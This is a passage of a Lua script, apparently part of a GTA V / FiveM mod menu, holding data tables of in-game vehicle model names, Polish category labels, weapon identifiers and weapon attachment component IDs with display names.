  1134. 'Sandking',
  1135. 'Sandking2',
  1136. 'Technical',
  1137. 'Technical2',
  1138. 'Technical3',
  1139. 'TrophyTruck',
  1140. 'TrophyTruck2',
  1141. 'Freecrawler',
  1142. 'Menacer'
  1143. }
  1144. local aT = {
  1145. 'AlphaZ1',
  1146. 'Avenger',
  1147. 'Avenger2',
  1148. 'Besra',
  1149. 'Blimp',
  1150. 'blimp2',
  1151. 'Blimp3',
  1152. 'Bombushka',
  1153. 'Cargoplane',
  1154. 'Cuban800',
  1155. 'Dodo',
  1156. 'Duster',
  1157. 'Howard',
  1158. 'Hydra',
  1159. 'Jet',
  1160. 'Lazer',
  1161. 'Luxor',
  1162. 'Luxor2',
  1163. 'Mammatus',
  1164. 'Microlight',
  1165. 'Miljet',
  1166. 'Mogul',
  1167. 'Molotok',
  1168. 'Nimbus',
  1169. 'Nokota',
  1170. 'Pyro',
  1171. 'Rogue',
  1172. 'Seabreeze',
  1173. 'Shamal',
  1174. 'Starling',
  1175. 'Stunt',
  1176. 'Titan',
  1177. 'Tula',
  1178. 'Velum',
  1179. 'Velum2',
  1180. 'Vestra',
  1181. 'Volatol',
  1182. 'Striekforce'
  1183. }
  1184. local aU = {
  1185. 'BJXL',
  1186. 'Baller',
  1187. 'Baller2',
  1188. 'Baller3',
  1189. 'Baller4',
  1190. 'Baller5',
  1191. 'Baller6',
  1192. 'Cavalcade',
  1193. 'Cavalcade2',
  1194. 'Dubsta',
  1195. 'Dubsta2',
  1196. 'Dubsta3',
  1197. 'FQ2',
  1198. 'Granger',
  1199. 'Gresley',
  1200. 'Habanero',
  1201. 'Huntley',
  1202. 'Landstalker',
  1203. 'patriot',
  1204. 'Patriot2',
  1205. 'Radi',
  1206. 'Rocoto',
  1207. 'Seminole',
  1208. 'Serrano',
  1209. 'Toros',
  1210. 'XLS',
  1211. 'XLS2'
  1212. }
  1213. local aV = {
  1214. 'Asea',
  1215. 'Asea2',
  1216. 'Asterope',
  1217. 'Cog55',
  1218. 'Cogg552',
  1219. 'Cognoscenti',
  1220. 'Cognoscenti2',
  1221. 'emperor',
  1222. 'emperor2',
  1223. 'emperor3',
  1224. 'Fugitive',
  1225. 'Glendale',
  1226. 'ingot',
  1227. 'intruder',
  1228. 'limo2',
  1229. 'premier',
  1230. 'primo',
  1231. 'primo2',
  1232. 'regina',
  1233. 'romero',
  1234. 'stafford',
  1235. 'Stanier',
  1236. 'stratum',
  1237. 'stretch',
  1238. 'surge',
  1239. 'tailgater',
  1240. 'warrener',
  1241. 'Washington'
  1242. }
  1243. local aW = {
  1244. 'Airbus',
  1245. 'Brickade',
  1246. 'Bus',
  1247. 'Coach',
  1248. 'Rallytruck',
  1249. 'Rentalbus',
  1250. 'taxi',
  1251. 'Tourbus',
  1252. 'Trash',
  1253. 'Trash2',
  1254. 'WastIndr',
  1255. 'PBus2'
  1256. }
  1257. local aX = {
  1258. 'Alpha',
  1259. 'Banshee',
  1260. 'Banshee2',
  1261. 'BestiaGTS',
  1262. 'Buffalo',
  1263. 'Buffalo2',
  1264. 'Buffalo3',
  1265. 'Carbonizzare',
  1266. 'Comet2',
  1267. 'Comet3',
  1268. 'Comet4',
  1269. 'Comet5',
  1270. 'Coquette',
  1271. 'Deveste',
  1272. 'Elegy',
  1273. 'Elegy2',
  1274. 'Feltzer2',
  1275. 'Feltzer3',
  1276. 'FlashGT',
  1277. 'Furoregt',
  1278. 'Fusilade',
  1279. 'Futo',
  1280. 'GB200',
  1281. 'Hotring',
  1282. 'Infernus2',
  1283. 'Italigto',
  1284. 'Jester',
  1285. 'Jester2',
  1286. 'Khamelion',
  1287. 'Kurama',
  1288. 'Kurama2',
  1289. 'Lynx',
  1290. 'MAssacro',
  1291. 'MAssacro2',
  1292. 'neon',
  1293. 'Ninef',
  1294. 'ninfe2',
  1295. 'omnis',
  1296. 'Pariah',
  1297. 'Penumbra',
  1298. 'Raiden',
  1299. 'RapidGT',
  1300. 'RapidGT2',
  1301. 'Raptor',
  1302. 'Revolter',
  1303. 'Ruston',
  1304. 'Schafter2',
  1305. 'Schafter3',
  1306. 'Schafter4',
  1307. 'Schafter5',
  1308. 'Schafter6',
  1309. 'Schlagen',
  1310. 'Schwarzer',
  1311. 'Sentinel3',
  1312. 'Seven70',
  1313. 'Specter',
  1314. 'Specter2',
  1315. 'Streiter',
  1316. 'Sultan',
  1317. 'Surano',
  1318. 'Tampa2',
  1319. 'Tropos',
  1320. 'Verlierer2',
  1321. 'ZR380',
  1322. 'ZR3802',
  1323. 'ZR3803'
  1324. }
  1325. local aY = {
  1326. 'Ardent',
  1327. 'BType',
  1328. 'BType2',
  1329. 'BType3',
  1330. 'Casco',
  1331. 'Cheetah2',
  1332. 'Cheburek',
  1333. 'Coquette2',
  1334. 'Coquette3',
  1335. 'Deluxo',
  1336. 'Fagaloa',
  1337. 'Gt500',
  1338. 'JB700',
  1339. 'JEster3',
  1340. 'MAmba',
  1341. 'Manana',
  1342. 'Michelli',
  1343. 'Monroe',
  1344. 'Peyote',
  1345. 'Pigalle',
  1346. 'RapidGT3',
  1347. 'Retinue',
  1348. 'Savastra',
  1349. 'Stinger',
  1350. 'Stingergt',
  1351. 'Stromberg',
  1352. 'Swinger',
  1353. 'Torero',
  1354. 'Tornado',
  1355. 'Tornado2',
  1356. 'Tornado3',
  1357. 'Tornado4',
  1358. 'Tornado5',
  1359. 'Tornado6',
  1360. 'Viseris',
  1361. 'Z190',
  1362. 'ZType'
  1363. }
  1364. local aZ = {
  1365. 'Adder',
  1366. 'Autarch',
  1367. 'Bullet',
  1368. 'Cheetah',
  1369. 'Cyclone',
  1370. 'EntityXF',
  1371. 'Entity2',
  1372. 'FMJ',
  1373. 'GP1',
  1374. 'Infernus',
  1375. 'LE7B',
  1376. 'Nero',
  1377. 'Nero2',
  1378. 'Osiris',
  1379. 'Penetrator',
  1380. 'PFister811',
  1381. 'Prototipo',
  1382. 'Reaper',
  1383. 'SC1',
  1384. 'Scramjet',
  1385. 'Sheava',
  1386. 'SultanRS',
  1387. 'Superd',
  1388. 'T20',
  1389. 'Taipan',
  1390. 'Tempesta',
  1391. 'Tezeract',
  1392. 'Turismo2',
  1393. 'Turismor',
  1394. 'Tyrant',
  1395. 'Tyrus',
  1396. 'Vacca',
  1397. 'Vagner',
  1398. 'Vigilante',
  1399. 'Visione',
  1400. 'Voltic',
  1401. 'Voltic2',
  1402. 'Zentorno',
  1403. 'Italigtb',
  1404. 'Italigtb2',
  1405. 'XA21'
  1406. }
  1407. local a_ = {
  1408. 'ArmyTanker',
  1409. 'ArmyTrailer',
  1410. 'ArmyTrailer2',
  1411. 'BaleTrailer',
  1412. 'BoatTrailer',
  1413. 'CableCar',
  1414. 'DockTrailer',
  1415. 'Graintrailer',
  1416. 'Proptrailer',
  1417. 'Raketailer',
  1418. 'TR2',
  1419. 'TR3',
  1420. 'TR4',
  1421. 'TRFlat',
  1422. 'TVTrailer',
  1423. 'Tanker',
  1424. 'Tanker2',
  1425. 'Trailerlogs',
  1426. 'Trailersmall',
  1427. 'Trailers',
  1428. 'Trailers2',
  1429. 'Trailers3'
  1430. }
  1431. local b0 = {
  1432. 'Freight',
  1433. 'Freightcar',
  1434. 'Freightcont1',
  1435. 'Freightcont2',
  1436. 'Freightgrain',
  1437. 'Freighttrailer',
  1438. 'TankerCar'
  1439. }
  1440. local b1 = {
  1441. 'Airtug',
  1442. 'Caddy',
  1443. 'Caddy2',
  1444. 'Caddy3',
  1445. 'Docktug',
  1446. 'Forklift',
  1447. 'Mower',
  1448. 'Ripley',
  1449. 'Sadler',
  1450. 'Scrap',
  1451. 'TowTruck',
  1452. 'Towtruck2',
  1453. 'Tractor',
  1454. 'Tractor2',
  1455. 'Tractor3',
  1456. 'TrailerLArge2',
  1457. 'Utilitruck',
  1458. 'Utilitruck3',
  1459. 'Utilitruck2'
  1460. }
  1461. local b2 = {
  1462. 'Bison',
  1463. 'Bison2',
  1464. 'Bison3',
  1465. 'BobcatXL',
  1466. 'Boxville',
  1467. 'Boxville2',
  1468. 'Boxville3',
  1469. 'Boxville4',
  1470. 'Boxville5',
  1471. 'Burrito',
  1472. 'Burrito2',
  1473. 'Burrito3',
  1474. 'Burrito4',
  1475. 'Burrito5',
  1476. 'Camper',
  1477. 'GBurrito',
  1478. 'GBurrito2',
  1479. 'Journey',
  1480. 'Minivan',
  1481. 'Minivan2',
  1482. 'Paradise',
  1483. 'pony',
  1484. 'Pony2',
  1485. 'Rumpo',
  1486. 'Rumpo2',
  1487. 'Rumpo3',
  1488. 'Speedo',
  1489. 'Speedo2',
  1490. 'Speedo4',
  1491. 'Surfer',
  1492. 'Surfer2',
  1493. 'Taco',
  1494. 'Youga',
  1495. 'youga2'
  1496. }
  1497. local b3 = {
  1498. 'Lodki',
  1499. 'Ciezarowki',
  1500. 'Kompakty',
  1501. 'Coupe',
  1502. 'Rowery',
  1503. 'Sluzby Specialne',
  1504. 'Helikoptery',
  1505. 'Przemysłowe',
  1506. 'Militarne',
  1507. 'Motory',
  1508. 'Muscle',
  1509. 'Off-Road',
  1510. 'Samoloty',
  1511. 'SUVy',
  1512. 'Sedany',
  1513. 'Serwisowe',
  1514. 'Sportowe',
  1515. 'Sportowe klasyki',
  1516. 'SuperSamochody',
  1517. 'Przyczepy',
  1518. 'Pociagi',
  1519. 'Uzytkowe',
  1520. 'Vany'
  1521. }
  1522. local b4 = {
  1523. aH,
  1524. aI,
  1525. aJ,
  1526. aK,
  1527. aL,
  1528. aM,
  1529. aN,
  1530. aO,
  1531. aP,
  1532. aQ,
  1533. aR,
  1534. aS,
  1535. aT,
  1536. aU,
  1537. aV,
  1538. aW,
  1539. aX,
  1540. aY,
  1541. aZ,
  1542. a_,
  1543. b0,
  1544. b1,
  1545. b2
  1546. }
  1547. local b5 = {
  1548. 'ArmyTanker',
  1549. 'ArmyTrailer',
  1550. 'ArmyTrailer2',
  1551. 'BaleTrailer',
  1552. 'BoatTrailer',
  1553. 'CableCar',
  1554. 'DockTrailer',
  1555. 'Graintrailer',
  1556. 'Proptrailer',
  1557. 'Raketailer',
  1558. 'TR2',
  1559. 'TR3',
  1560. 'TR4',
  1561. 'TRFlat',
  1562. 'TVTrailer',
  1563. 'Tanker',
  1564. 'Tanker2',
  1565. 'Trailerlogs',
  1566. 'Trailersmall',
  1567. 'Trailers',
  1568. 'Trailers2',
  1569. 'Trailers3'
  1570. }
  1571. local b6 = {
  1572. 'WEAPON_KNIFE',
  1573. 'WEAPON_KNUCKLE',
  1574. 'WEAPON_NIGHTSTICK',
  1575. 'WEAPON_HAMMER',
  1576. 'WEAPON_BAT',
  1577. 'WEAPON_GOLFCLUB',
  1578. 'WEAPON_CROWBAR',
  1579. 'WEAPON_BOTTLE',
  1580. 'WEAPON_DAGGER',
  1581. 'WEAPON_HATCHET',
  1582. 'WEAPON_MACHETE',
  1583. 'WEAPON_FLASHLIGHT',
  1584. 'WEAPON_SWITCHBLADE',
  1585. 'WEAPON_PISTOL',
  1586. 'WEAPON_PISTOL_MK2',
  1587. 'WEAPON_COMBATPISTOL',
  1588. 'WEAPON_APPISTOL',
  1589. 'WEAPON_PISTOL50',
  1590. 'WEAPON_SNSPISTOL',
  1591. 'WEAPON_HEAVYPISTOL',
  1592. 'WEAPON_VINTAGEPISTOL',
  1593. 'WEAPON_STUNGUN',
  1594. 'WEAPON_FLAREGUN',
  1595. 'WEAPON_MARKSMANPISTOL',
  1596. 'WEAPON_REVOLVER',
  1597. 'WEAPON_MICROSMG',
  1598. 'WEAPON_SMG',
  1599. 'WEAPON_SMG_MK2',
  1600. 'WEAPON_ASSAULTSMG',
  1601. 'WEAPON_MG',
  1602. 'WEAPON_COMBATMG',
  1603. 'WEAPON_COMBATMG_MK2',
  1604. 'WEAPON_COMBATPDW',
  1605. 'WEAPON_GUSENBERG',
  1606. 'WEAPON_MACHINEPISTOL',
  1607. 'WEAPON_ASSAULTRIFLE',
  1608. 'WEAPON_ASSAULTRIFLE_MK2',
  1609. 'WEAPON_CARBINERIFLE',
  1610. 'WEAPON_CARBINERIFLE_MK2',
  1611. 'WEAPON_ADVANCEDRIFLE',
  1612. 'WEAPON_SPECIALCARBINE',
  1613. 'WEAPON_BULLPUPRIFLE',
  1614. 'WEAPON_COMPACTRIFLE',
  1615. 'WEAPON_PUMPSHOTGUN',
  1616. 'WEAPON_SAWNOFFSHOTGUN',
  1617. 'WEAPON_BULLPUPSHOTGUN',
  1618. 'WEAPON_ASSAULTSHOTGUN',
  1619. 'WEAPON_MUSKET',
  1620. 'WEAPON_HEAVYSHOTGUN',
  1621. 'WEAPON_DBSHOTGUN',
  1622. 'WEAPON_SNIPERRIFLE',
  1623. 'WEAPON_HEAVYSNIPER',
  1624. 'WEAPON_HEAVYSNIPER_MK2',
  1625. 'WEAPON_MARKSMANRIFLE',
  1626. 'WEAPON_GRENADELAUNCHER',
  1627. 'WEAPON_GRENADELAUNCHER_SMOKE',
  1628. 'WEAPON_RPG',
  1629. 'WEAPON_STINGER',
  1630. 'WEAPON_FIREWORK',
  1631. 'WEAPON_HOMINGLAUNCHER',
  1632. 'WEAPON_GRENADE',
  1633. 'WEAPON_STICKYBOMB',
  1634. 'WEAPON_PROXMINE',
  1635. 'WEAPON_BZGAS',
  1636. 'WEAPON_SMOKEGRENADE',
  1637. 'WEAPON_MOLOTOV',
  1638. 'WEAPON_FIREEXTINGUISHER',
  1639. 'WEAPON_PETROLCAN',
  1640. 'WEAPON_SNOWBALL',
  1641. 'WEAPON_FLARE',
  1642. 'WEAPON_BALL'
  1643. }
  1644. local b7 = {
  1645. Melee = {
  1646. BaseballBat = {
  1647. id = 'weapon_bat',
  1648. name = '~h~~r~> ~s~Baseball Bat',
  1649. bInfAmmo = false,
  1650. mods = {}
  1651. },
  1652. BrokenBottle = {
  1653. id = 'weapon_bottle',
  1654. name = '~h~~r~> ~s~Broken Bottle',
  1655. bInfAmmo = false,
  1656. mods = {}
  1657. },
  1658. Crowbar = {
  1659. id = 'weapon_Crowbar',
  1660. name = '~h~~r~> ~s~Crowbar',
  1661. bInfAmmo = false,
  1662. mods = {}
  1663. },
  1664. Flashlight = {
  1665. id = 'weapon_flashlight',
  1666. name = '~h~~r~> ~s~Flashlight',
  1667. bInfAmmo = false,
  1668. mods = {}
  1669. },
  1670. GolfClub = {
  1671. id = 'weapon_golfclub',
  1672. name = '~h~~r~> ~s~Golf Club',
  1673. bInfAmmo = false,
  1674. mods = {}
  1675. },
  1676. BrassKnuckles = {
  1677. id = 'weapon_knuckle',
  1678. name = '~h~~r~> ~s~Brass Knuckles',
  1679. bInfAmmo = false,
  1680. mods = {}
  1681. },
  1682. Knife = {
  1683. id = 'weapon_knife',
  1684. name = '~h~~r~> ~s~Knife',
  1685. bInfAmmo = false,
  1686. mods = {}
  1687. },
  1688. Machete = {
  1689. id = 'weapon_machete',
  1690. name = '~h~~r~> ~s~Machete',
  1691. bInfAmmo = false,
  1692. mods = {}
  1693. },
  1694. Switchblade = {
  1695. id = 'weapon_switchblade',
  1696. name = '~h~~r~> ~s~Switchblade',
  1697. bInfAmmo = false,
  1698. mods = {}
  1699. },
  1700. Nightstick = {
  1701. id = 'weapon_nightstick',
  1702. name = '~h~~r~> ~s~Nightstick',
  1703. bInfAmmo = false,
  1704. mods = {}
  1705. },
  1706. BattleAxe = {
  1707. id = 'weapon_battleaxe',
  1708. name = '~h~~r~> ~s~Battle Axe',
  1709. bInfAmmo = false,
  1710. mods = {}
  1711. }
  1712. },
  1713. Handguns = {
  1714. Pistol = {
  1715. id = 'weapon_pistol',
  1716. name = '~h~~r~> ~s~Pistol',
  1717. bInfAmmo = false,
  1718. mods = {
  1719. Magazines = {
  1720. {
  1721. name = '~h~~r~> ~s~Default Magazine',
  1722. id = 'COMPONENT_PISTOL_CLIP_01'
  1723. },
  1724. {
  1725. name = '~h~~r~> ~s~Extended Magazine',
  1726. id = 'COMPONENT_PISTOL_CLIP_02'
  1727. }
  1728. },
  1729. Flashlight = {
  1730. {
  1731. name = '~h~~r~> ~s~Flashlight',
  1732. id = 'COMPONENT_AT_PI_FLSH'
  1733. }
  1734. },
  1735. BarrelAttachments = {
  1736. {
  1737. name = '~h~~r~> ~s~Suppressor',
  1738. id = 'COMPONENT_AT_PI_SUPP_02'
  1739. }
  1740. }
  1741. }
  1742. },
  1743. PistolMK2 = {
  1744. id = 'weapon_pistol_mk2',
  1745. name = '~h~~r~> ~s~Pistol MK 2',
  1746. bInfAmmo = false,
  1747. mods = {
  1748. Magazines = {
  1749. {
  1750. name = '~h~~r~> ~s~Default Magazine',
  1751. id = 'COMPONENT_PISTOL_MK2_CLIP_01'
  1752. },
  1753. {
  1754. name = '~h~~r~> ~s~Extended Magazine',
  1755. id = 'COMPONENT_PISTOL_MK2_CLIP_02'
  1756. },
  1757. {
  1758. name = '~h~~r~> ~s~Tracer Rounds',
  1759. id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER'
  1760. },
  1761. {
  1762. name = '~h~~r~> ~s~Incendiary Rounds',
  1763. id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY'
  1764. },
  1765. {
  1766. name = '~h~~r~> ~s~Hollow Point Rounds',
  1767. id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT'
  1768. },
  1769. {
  1770. name = '~h~~r~> ~s~FMJ Rounds',
  1771. id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ'
  1772. }
  1773. },
  1774. Sights = {
  1775. {
  1776. name = '~h~~r~> ~s~Mounted Scope',
  1777. id = 'COMPONENT_AT_PI_RAIL'
  1778. }
  1779. },
  1780. Flashlight = {
  1781. {
  1782. name = '~h~~r~> ~s~Flashlight',
  1783. id = 'COMPONENT_AT_PI_FLSH_02'
  1784. }
  1785. },
  1786. BarrelAttachments = {
  1787. {
  1788. name = '~h~~r~> ~s~Compensator',
  1789. id = 'COMPONENT_AT_PI_COMP'
  1790. },
  1791. {
  1792. name = '~h~~r~> ~s~Suppessor',
  1793. id = 'COMPONENT_AT_PI_SUPP_02'
  1794. }
  1795. }
  1796. }
  1797. },
  1798. CombatPistol = {
  1799. id = 'weapon_combatpistol',
  1800. name = '~h~Combat Pistol',
  1801. bInfAmmo = false,
  1802. mods = {
  1803. Magazines = {
  1804. {
  1805. name = '~h~~r~> ~s~Default Magazine',
  1806. id = 'COMPONENT_COMBATPISTOL_CLIP_01'
  1807. },
  1808. {
  1809. name = '~h~~r~> ~s~Extended Magazine',
  1810. id = 'COMPONENT_COMBATPISTOL_CLIP_02'
  1811. }
  1812. },
  1813. Flashlight = {
  1814. {
  1815. name = '~h~~r~> ~s~Flashlight',
  1816. id = 'COMPONENT_AT_PI_FLSH'
  1817. }
  1818. },
  1819. BarrelAttachments = {
  1820. {
  1821. name = '~h~~r~> ~s~Suppressor',
  1822. id = 'COMPONENT_AT_PI_SUPP'
  1823. }
  1824. }
  1825. }
  1826. },
  1827. APPistol = {
  1828. id = 'weapon_appistol',
  1829. name = 'AP Pistol',
  1830. bInfAmmo = false,
  1831. mods = {
  1832. Magazines = {
  1833. {
  1834. name = '~h~~r~> ~s~Default Magazine',
  1835. id = 'COMPONENT_APPISTOL_CLIP_01'
  1836. },
  1837. {
  1838. name = '~h~~r~> ~s~Extended Magazine',
  1839. id = 'COMPONENT_APPISTOL_CLIP_02'
  1840. }
  1841. },
  1842. Flashlight = {
  1843. {
  1844. name = '~h~~r~> ~s~Flashlight',
  1845. id = 'COMPONENT_AT_PI_FLSH'
  1846. }
  1847. },
  1848. BarrelAttachments = {
  1849. {
  1850. name = '~h~~r~> ~s~Suppressor',
  1851. id = 'COMPONENT_AT_PI_SUPP'
  1852. }
  1853. }
  1854. }
  1855. },
  1856. StunGun = {
  1857. id = 'weapon_stungun',
  1858. name = '~h~~r~> ~s~Stun Gun',
  1859. bInfAmmo = false,
  1860. mods = {}
  1861. },
  1862. Pistol50 = {
  1863. id = 'weapon_pistol50',
  1864. name = '~h~~r~> ~s~Pistol .50',
  1865. bInfAmmo = false,
  1866. mods = {
  1867. Magazines = {
  1868. {
  1869. name = '~h~~r~> ~s~Default Magazine',
  1870. id = 'COMPONENT_PISTOL50_CLIP_01'
  1871. },
  1872. {
  1873. name = '~h~~r~> ~s~Extended Magazine',
  1874. id = 'COMPONENT_PISTOL50_CLIP_02'
  1875. }
  1876. },
  1877. Flashlight = {
  1878. {
  1879. name = '~h~~r~> ~s~Flashlight',
  1880. id = 'COMPONENT_AT_PI_FLSH'
  1881. }
  1882. },
  1883. BarrelAttachments = {
  1884. {
  1885. name = '~h~~r~> ~s~Suppressor',
  1886. id = 'COMPONENT_AT_PI_SUPP_02'
  1887. }
  1888. }
  1889. }
  1890. },
  1891. SNSPistol = {
  1892. id = 'weapon_snspistol',
  1893. name = '~h~~r~> ~s~SNS Pistol',
  1894. bInfAmmo = false,
  1895. mods = {
  1896. Magazines = {
  1897. {
  1898. name = '~h~~r~> ~s~Default Magazine',
  1899. id = 'COMPONENT_SNSPISTOL_CLIP_01'
  1900. },
  1901. {
  1902. name = '~h~~r~> ~s~Extended Magazine',
  1903. id = 'COMPONENT_SNSPISTOL_CLIP_02'
  1904. }
  1905. }
  1906. }
  1907. },
  1908. SNSPistolMkII = {
  1909. id = 'weapon_snspistol_mk2',
  1910. name = '~h~~r~> ~s~SNS Pistol Mk II',
  1911. bInfAmmo = false,
  1912. mods = {
  1913. Magazines = {
  1914. {
  1915. name = '~h~~r~> ~s~Default Magazine',
  1916. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01'
  1917. },
  1918. {
  1919. name = '~h~~r~> ~s~Extended Magazine',
  1920. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02'
  1921. },
  1922. {
  1923. name = '~h~~r~> ~s~Tracer Rounds',
  1924. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER'
  1925. },
  1926. {
  1927. name = '~h~~r~> ~s~Incendiary Rounds',
  1928. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY'
  1929. },
  1930. {
  1931. name = '~h~~r~> ~s~Hollow Point Rounds',
  1932. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT'
  1933. },
  1934. {
  1935. name = '~h~~r~> ~s~FMJ Rounds',
  1936. id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ'
  1937. }
  1938. },
  1939. Sights = {
  1940. {
  1941. name = '~h~~r~> ~s~Mounted Scope',
  1942. id = 'COMPONENT_AT_PI_RAIL_02'
  1943. }
  1944. },
  1945. Flashlight = {
  1946. {
  1947. name = '~h~~r~> ~s~Flashlight',
  1948. id = 'COMPONENT_AT_PI_FLSH_03'
  1949. }
  1950. },
  1951. BarrelAttachments = {
  1952. {
  1953. name = '~h~~r~> ~s~Compensator',
  1954. id = 'COMPONENT_AT_PI_COMP_02'
  1955. },
  1956. {
  1957. name = '~h~~r~> ~s~Suppressor',
  1958. id = 'COMPONENT_AT_PI_SUPP_02'
  1959. }
  1960. }
  1961. }
  1962. },
  1963. HeavyPistol = {
  1964. id = 'weapon_heavypistol',
  1965. name = '~h~~r~> ~s~Heavy Pistol',
  1966. bInfAmmo = false,
  1967. mods = {
  1968. Magazines = {
  1969. {
  1970. name = '~h~~r~> ~s~Default Magazine',
  1971. id = 'COMPONENT_HEAVYPISTOL_CLIP_01'
  1972. },
  1973. {
  1974. name = '~h~~r~> ~s~Extended Magazine',
  1975. id = 'COMPONENT_HEAVYPISTOL_CLIP_02'
  1976. }
  1977. },
  1978. Flashlight = {
  1979. {
  1980. name = '~h~~r~> ~s~Flashlight',
  1981. id = 'COMPONENT_AT_PI_FLSH'
  1982. }
  1983. },
  1984. BarrelAttachments = {
  1985. {
  1986. name = '~h~~r~> ~s~Suppressor',
  1987. id = 'COMPONENT_AT_PI_SUPP'
  1988. }
  1989. }
  1990. }
  1991. },
  1992. VintagePistol = {
  1993. id = 'weapon_vintagepistol',
  1994. name = '~h~~r~> ~s~Vintage Pistol',
  1995. bInfAmmo = false,
  1996. mods = {
  1997. Magazines = {
  1998. {
  1999. name = '~h~~r~> ~s~Default Magazine',
  2000. id = 'COMPONENT_VINTAGEPISTOL_CLIP_01'
  2001. },
  2002. {
  2003. name = '~h~~r~> ~s~Extended Magazine',
  2004. id = 'COMPONENT_VINTAGEPISTOL_CLIP_02'
  2005. }
  2006. },
  2007. BarrelAttachments = {
  2008. {
  2009. 'Suppressor',
  2010. id = 'COMPONENT_AT_PI_SUPP'
  2011. }
  2012. }
  2013. }
  2014. },
  2015. FlareGun = {
  2016. id = 'weapon_flaregun',
  2017. name = '~h~~r~> ~s~Flare Gun',
  2018. bInfAmmo = false,
  2019. mods = {}
  2020. },
  2021. MarksmanPistol = {
  2022. id = 'weapon_marksmanpistol',
  2023. name = '~h~~r~> ~s~Marksman Pistol',
  2024. bInfAmmo = false,
  2025. mods = {}
  2026. },
  2027. HeavyRevolver = {
  2028. id = 'weapon_revolver',
  2029. name = '~h~~r~> ~s~Heavy Revolver',
  2030. bInfAmmo = false,
  2031. mods = {}
  2032. },
  2033. HeavyRevolverMkII = {
  2034. id = 'weapon_revolver_mk2',
  2035. name = '~h~~r~> ~s~Heavy Revolver Mk II',
  2036. bInfAmmo = false,
  2037. mods = {
  2038. Magazines = {
  2039. {
  2040. name = '~h~~r~> ~s~Default Rounds',
  2041. id = 'COMPONENT_REVOLVER_MK2_CLIP_01'
  2042. },
  2043. {
  2044. name = '~h~~r~> ~s~Tracer Rounds',
  2045. id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER'
  2046. },
  2047. {
  2048. name = '~h~~r~> ~s~Incendiary Rounds',
  2049. id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY'
  2050. },
  2051. {
  2052. name = '~h~~r~> ~s~Hollow Point Rounds',
  2053. id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT'
  2054. },
  2055. {
  2056. name = '~h~~r~> ~s~FMJ Rounds',
  2057. id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ'
  2058. }
  2059. },
  2060. Sights = {
  2061. {
  2062. name = '~h~~r~> ~s~Holograhpic Sight',
  2063. id = 'COMPONENT_AT_SIGHTS'
  2064. },
  2065. {
  2066. name = '~h~~r~> ~s~Small Scope',
  2067. id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
  2068. }
  2069. },
  2070. Flashlight = {
  2071. {
  2072. name = '~h~~r~> ~s~Flashlight',
  2073. id = 'COMPONENT_AT_PI_FLSH'
  2074. }
  2075. },
  2076. BarrelAttachments = {
  2077. {
  2078. name = '~h~~r~> ~s~Compensator',
  2079. id = 'COMPONENT_AT_PI_COMP_03'
  2080. }
  2081. }
  2082. }
  2083. },
  2084. DoubleActionRevolver = {
  2085. id = 'weapon_doubleaction',
  2086. name = '~h~~r~> ~s~Double Action Revolver',
  2087. bInfAmmo = false,
  2088. mods = {}
  2089. },
  2090. UpnAtomizer = {
  2091. id = 'weapon_raypistol',
  2092. name = '~h~~r~> ~s~Up-n-Atomizer',
  2093. bInfAmmo = false,
  2094. mods = {}
  2095. }
  2096. },
  2097. SMG = {
  2098. MicroSMG = {
  2099. id = 'weapon_microsmg',
  2100. name = '~h~~r~> ~s~Micro SMG',
  2101. bInfAmmo = false,
  2102. mods = {
  2103. Magazines = {
  2104. {
  2105. name = '~h~~r~> ~s~Default Magazine',
  2106. id = 'COMPONENT_MICROSMG_CLIP_01'
  2107. },
  2108. {
  2109. name = '~h~~r~> ~s~Extended Magazine',
  2110. id = 'COMPONENT_MICROSMG_CLIP_02'
  2111. }
  2112. },
  2113. Sights = {
  2114. {
  2115. name = '~h~~r~> ~s~Scope',
  2116. id = 'COMPONENT_AT_SCOPE_MACRO'
  2117. }
  2118. },
  2119. Flashlight = {
  2120. {
  2121. name = '~h~~r~> ~s~Flashlight',
  2122. id = 'COMPONENT_AT_PI_FLSH'
  2123. }
  2124. },
  2125. BarrelAttachments = {
  2126. {
  2127. name = '~h~~r~> ~s~Suppressor',
  2128. id = 'COMPONENT_AT_AR_SUPP_02'
  2129. }
  2130. }
  2131. }
  2132. },
  2133. SMG = {
  2134. id = 'weapon_smg',
  2135. name = '~h~~r~> ~s~SMG',
  2136. bInfAmmo = false,
  2137. mods = {
  2138. Magazines = {
  2139. {
  2140. name = '~h~~r~> ~s~Default Magazine',
  2141. id = 'COMPONENT_SMG_CLIP_01'
  2142. },
  2143. {
  2144. name = '~h~~r~> ~s~Extended Magazine',
  2145. id = 'COMPONENT_SMG_CLIP_02'
  2146. },
  2147. {
  2148. name = '~h~~r~> ~s~Drum Magazine',
  2149. id = 'COMPONENT_SMG_CLIP_03'
  2150. }
  2151. },
  2152. Sights = {
  2153. {
  2154. name = '~h~~r~> ~s~Scope',
  2155. id = 'COMPONENT_AT_SCOPE_MACRO_02'
  2156. }
  2157. },
  2158. Flashlight = {
  2159. {
  2160. name = '~h~~r~> ~s~Flashlight',
  2161. id = 'COMPONENT_AT_AR_FLSH'
  2162. }
  2163. },
  2164. BarrelAttachments = {
  2165. {
  2166. name = '~h~~r~> ~s~Suppressor',
  2167. id = 'COMPONENT_AT_PI_SUPP'
  2168. }
  2169. }
  2170. }
  2171. },
  2172. SMGMkII = {
  2173. id = 'weapon_smg_mk2',
  2174. name = '~h~~r~> ~s~SMG Mk II',
  2175. bInfAmmo = false,
  2176. mods = {
  2177. Magazines = {
  2178. {
  2179. name = '~h~~r~> ~s~Default Magazine',
  2180. id = 'COMPONENT_SMG_MK2_CLIP_01'
  2181. },
  2182. {
  2183. name = '~h~~r~> ~s~Extended Magazine',
  2184. id = 'COMPONENT_SMG_MK2_CLIP_02'
  2185. },
  2186. {
